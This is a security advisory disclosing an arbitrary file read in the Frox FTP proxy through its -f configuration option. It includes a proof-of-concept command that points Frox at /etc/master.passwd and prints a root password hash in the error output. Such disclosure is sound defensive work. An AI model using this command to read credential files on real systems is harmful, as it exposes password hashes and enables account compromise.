[UNIX] Frox Aribitary File Access

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Frox Aribitary File Access
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SUMMARY

" <http://frox.sourceforge.net/> Frox is a transparent FTP proxy for
Linux, *BSD, and other UNIX like systems. It optionally supports
non-transparent proxying, caching, rewriting of FTP requests as HTTP,
transparent virus scanning, and conversion from activepassive mode FTP."

Lack of proper path validation allows attackers to access any file on the
system using Frox.

DETAILS

Frox has been found to contain a security risk that allows any user to
read files residing on the system running the product. This is due to the
way Frox handles the loading of configuration files. The problem exists in
the -f option (which specifies the configuration file).

Proof of Concept:
q(rotor@r0t0r.0daysecurity.com)
mq(/usr/local/sbin)-> frox -f /etc/master.passwd
Unrecognized option
"root:$2a$04$nR2msaB9.nAgR4qI6pqBNOQbH6LoqALZTmqsqhGEJLLwyTfsxXTd.:
0:0::0:0:Charlie"
at line 3 of /etc/master.passwd
Error reading configuration file
lq(rotor@r0t0r.0daysecurity.com)
mq(/usr/local/sbin)->

ADDITIONAL INFORMATION

The information has been provided by <mailto:un4m31@gmail.com> un4m31.

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